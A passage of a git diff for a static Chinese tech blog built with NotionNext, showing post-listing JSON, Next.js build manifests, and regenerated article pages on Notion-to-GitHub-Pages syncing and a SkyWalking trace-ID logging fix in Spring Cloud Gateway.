6ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":5,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""}],"tag":"面试"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/static/76RZ7NVoSbfF1EgLzbeEj/_buildManifest.js b/_next/static/76RZ7NVoSbfF1EgLzbeEj/_buildManifest.js new file mode 100644 index 000000000..941faaaf3 --- /dev/null +++ b/_next/static/76RZ7NVoSbfF1EgLzbeEj/_buildManifest.js @@ -0,0 +1 @@ +self.__BUILD_MANIFEST=function(a){return{__rewrites:{afterFiles:[{has:void 0,source:"/:path*.html",destination:"/:path*"}],beforeFiles:[],fallback:[]},"/":["static/chunks/pages/index-eb0ce45dfd226ae0.js"],"/404":["static/chunks/pages/404-0962518ded3ddccb.js"],"/_error":["static/chunks/pages/_error-c11ef25afc9df35c.js"],"/archive":["static/chunks/pages/archive-ce5c9a13f1b707ce.js"],"/category":["static/chunks/pages/category-e360d24a90d47a84.js"],"/category/[category]":["static/chunks/pages/category/[category]-870f14c329d4c7e1.js"],"/category/[category]/page/[page]":["static/chunks/pages/category/[category]/page/[page]-901a24624c3d7984.js"],"/page/[page]":["static/chunks/pages/page/[page]-e11f22948308bc15.js"],"/search":["static/chunks/pages/search-005f77f243d63e6b.js"],"/search/[keyword]":["static/chunks/pages/search/[keyword]-47355d318a01b8f4.js"],"/search/[keyword]/page/[page]":["static/chunks/pages/search/[keyword]/page/[page]-8f5f38a8283f89e0.js"],"/sitemap.xml":["static/chunks/pages/sitemap.xml-aa598cb4287c0ed6.js"],"/tag":["static/chunks/pages/tag-256108ef48b29ccf.js"],"/tag/[tag]":["static/chunks/pages/tag/[tag]-27fd94272e69240a.js"],"/tag/[tag]/page/[page]":["static/chunks/pages/tag/[tag]/page/[page]-7364bfe43180da9b.js"],"/[prefix]":[a,"static/chunks/pages/[prefix]-305d9f2047462727.js"],"/[prefix]/[slug]":[a,"static/chunks/pages/[prefix]/[slug]-5b13cd8bd4bab6aa.js"],"/[prefix]/[slug]/[...suffix]":[a,"static/chunks/pages/[prefix]/[slug]/[...suffix]-f5d35020b71ca032.js"],sortedPages:["/","/404","/_app","/_error","/archive","/category","/category/[category]","/category/[category]/page/[page]","/page/[page]","/search","/search/[keyword]","/search/[keyword]/page/[page]","/sitemap.xml","/tag","/tag/[tag]","/tag/[tag]/page/[page]","/[prefix]","/[prefix]/[slug]","/[prefix]/[slug]/[...suffix]"]}}("static/chunks/88495-859c98bd25cf70c4.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file diff --git a/_next/static/76RZ7NVoSbfF1EgLzbeEj/_ssgManifest.js b/_next/static/76RZ7NVoSbfF1EgLzbeEj/_ssgManifest.js new file mode 100644 index 000000000..af1572249 --- /dev/null +++ b/_next/static/76RZ7NVoSbfF1EgLzbeEj/_ssgManifest.js @@ -0,0 +1 @@ +self.__SSG_MANIFEST=new Set(["\u002F","\u002F404","\u002F[prefix]","\u002F[prefix]\u002F[slug]","\u002F[prefix]\u002F[slug]\u002F[...suffix]","\u002Farchive","\u002Fcategory","\u002Fcategory\u002F[category]","\u002Fcategory\u002F[category]\u002Fpage\u002F[page]","\u002Fpage\u002F[page]","\u002Fsearch","\u002Fsearch\u002F[keyword]","\u002Fsearch\u002F[keyword]\u002Fpage\u002F[page]","\u002Ftag","\u002Ftag\u002F[tag]","\u002Ftag\u002F[tag]\u002Fpage\u002F[page]"]);self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB() \ No newline at end of file diff --git a/archive.html b/archive.html index 5a902afd9..9acc86e18 100644 --- a/archive.html +++ b/archive.html @@ -1,8 +1,8 @@ -Archive | Both Savage
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240119-notion.html b/article/240119-notion.html index 4bd439ffa..31c5a5872 100644 --- a/article/240119-notion.html +++ b/article/240119-notion.html @@ -1,4 +1,4 @@ -Notion文章自动同步GitPage | Both Savage

Notion文章自动同步GitPage

type
status
date
slug
summary
tags
category
icon
password
 

契机

Notion GitPage docker 自动化整合
💡
之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。 +Notion文章自动同步GitPage | Both Savage

Notion文章自动同步GitPage

type
status
date
slug
summary
tags
category
icon
password
 

契机

Notion GitPage docker 自动化整合
💡
之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。 Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了 @@ -7,11 +7,11 @@ 还有每次export之前记住移除rm ./NotionNext/public/sitemap.xml这个文件
 

目录结构

notion image

deploy脚本

DokcerFile文件

准备容器内GitPage推送权限

去这个页面选择创建新的token
勾选如下
notion image
再执行下面的命令,这样容器中就可以随意push到GitPage了

搭建步骤

验证

notion image
 

特别提醒

  • 自己notion的PageId最好不要对外暴露,因为文章是支持密码访问的
  • fork下来的NotionNext最好改成私有,避免泄漏关键信息
  • 在github仓库中提前建好.nojekyll文件
  • 每次export的时候要删除./NotionNext/public/sitemap.xml
 

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
解决SkyWalking在gateway中logback链路丢失示例文章
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240121-skywaking.html b/article/240121-skywaking.html index 2eca2bab9..e9734d0af 100644 --- a/article/240121-skywaking.html +++ b/article/240121-skywaking.html @@ -1,11 +1,11 @@ -解决SkyWalking在gateway中logback链路丢失 | Both Savage

解决SkyWalking在gateway中logback链路丢失

type
status
date
slug
summary
tags
category
icon
password

契机

😀
吴晟大佬:Why ping me? The plugin is not written by me. I don't know anything about agent running in Spring cloud.
一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。
notion image

场景复现

版本

  • spring-cloud-gateway-dependencies = 3.1.3
  • skywalking-oap-server:9.3.0
  • skywalking-ui:9.3.0
  • apache-skywalking-java-agent:9.0.0
  • 假设有gateway+user两个模块
 

skyWalking环境搭建

agent目录配置

maven依赖

项目运行配置

gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下
notion image
 

logback配置

gateway模块请求日志打印代码

就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回

user模块测试代码

 

访问测试

通过网关访问testSkywalking测试结果如下
gateway日志
user日志
可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A
 

尝试解决

分析问题

首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:https://github.com/apache/skywalking/blob/v8.7.0/。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:
apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java
观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。
Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的
notion image

曲线救国

gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)
然后再搞一个工具类
然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句

验证

gateway日志
user日志
确实可用,完美解决

总结

  • 就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉
  • 然后在gatway模块的日志前面用MDC传了点值进到插件里面
  • 相当取巧,因为gatway也没啥日志
  • 目前看来没什么问题

写到最后

notion image
+解决SkyWalking在gateway中logback链路丢失 | Both Savage

解决SkyWalking在gateway中logback链路丢失

type
status
date
slug
summary
tags
category
icon
password

契机

😀
吴晟大佬:Why ping me? The plugin is not written by me. I don't know anything about agent running in Spring cloud.
一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。
notion image

场景复现

版本

  • spring-cloud-gateway-dependencies = 3.1.3
  • skywalking-oap-server:9.3.0
  • skywalking-ui:9.3.0
  • apache-skywalking-java-agent:9.0.0
  • 假设有gateway+user两个模块
 

skyWalking环境搭建

agent目录配置

maven依赖

项目运行配置

gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下
notion image
 

logback配置

gateway模块请求日志打印代码

就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回

user模块测试代码

 

访问测试

通过网关访问testSkywalking测试结果如下
gateway日志
user日志
可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A
 

尝试解决

分析问题

首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:https://github.com/apache/skywalking/blob/v8.7.0/。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:
apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java
观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。
Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的
notion image

曲线救国

gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)
然后再搞一个工具类
